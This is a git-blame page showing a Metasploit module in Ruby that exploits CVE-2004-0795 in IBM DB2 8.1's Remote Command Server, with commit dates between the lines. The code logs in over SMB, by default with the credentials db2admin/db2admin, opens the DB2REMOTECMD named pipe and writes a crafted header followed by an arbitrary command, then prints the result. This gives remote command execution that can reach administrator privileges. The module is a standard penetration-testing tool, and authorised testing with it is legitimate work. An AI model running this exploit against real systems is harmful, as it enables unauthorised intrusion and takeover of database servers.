Files
metasploit-gs/modules/auxiliary/admin/db2/db2rcmd.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

90 lines
2.6 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2008-11-11 02:44:28 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2015-02-13 17:17:59 -06:00
include Msf::Exploit::Remote::SMB::Client
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
def initialize(info = {})
super(update_info(info,
2010-11-24 19:35:38 +00:00
'Name' => 'IBM DB2 db2rcmd.exe Command Execution Vulnerability',
2008-11-11 02:44:28 +00:00
'Description' => %q{
This module exploits a vulnerability in the Remote Command Server
component in IBM's DB2 Universal Database 8.1. An authenticated
attacker can send arbitrary commands to the DB2REMOTECMD named pipe
which could lead to administrator privileges.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2004-0795' ],
[ 'OSVDB', '4180' ],
2008-11-11 02:44:28 +00:00
[ 'BID', '9821' ],
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2004-03-04'))
2013-08-30 16:28:54 -05:00
register_options(
2008-11-11 02:44:28 +00:00
[
OptString.new('CMD', [ true, 'The command to execute', 'ver']),
OptString.new('SMBUser', [ true, 'The username to authenticate as', 'db2admin'], fallbacks: ['USERNAME']),
OptString.new('SMBPass', [ true, 'The password for the specified username', 'db2admin'], fallbacks: ['PASSWORD']),
])
2020-05-13 16:34:47 +02:00
deregister_options('SMB::ProtocolVersion')
2008-11-11 02:44:28 +00:00
end
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
def run
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
print_status("Connecting to the server...")
2020-05-13 16:34:47 +02:00
connect(versions: [1])
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
print_status("Authenticating as user '#{datastore['SMBUser']}' with pass '#{datastore['SMBPass']}'...")
2013-08-30 16:28:54 -05:00
# Connect with a valid user/pass. if not, then bail.
2008-11-11 02:44:28 +00:00
begin
smb_login()
rescue ::Exception => e
print_error("Error: #{e}")
disconnect
return
end
2013-08-30 16:28:54 -05:00
# Have it so our command arg is convenient to call.
2008-11-11 02:44:28 +00:00
rcmd = datastore['CMD']
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
print_status("Connecting to named pipe \\DB2REMOTECMD...")
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
# If the pipe doesn't exist, bail.
begin
pipe = simple.create_pipe('\\DB2REMOTECMD')
rescue ::Exception => e
print_error("Error: #{e}")
disconnect
return
end
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
# If we get this far, do the dance.
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
fid = pipe.file_id
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
# Need to make a Trans2 request with the param of 'QUERY_FILE_INFO' keeping our file_id
trans2 = simple.client.trans2(0x0007, [fid, 1005].pack('vv'), '')
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
# Write to the pipe, our command length comes into play.
pipe.write([0x00000001].pack('V') + "DB2" + "\x00" * 525 + [rcmd.length].pack('V'))
# Send off our command
pipe.write(rcmd)
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
# Read from the pipe and give us the data.
res = pipe.read()
2011-09-11 02:42:39 +00:00
print_line(res)
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
# Close the named pipe and disconnect from the socket.
pipe.close
2008-11-11 02:44:28 +00:00
disconnect
2013-08-30 16:28:54 -05:00
2008-11-11 02:44:28 +00:00
end
end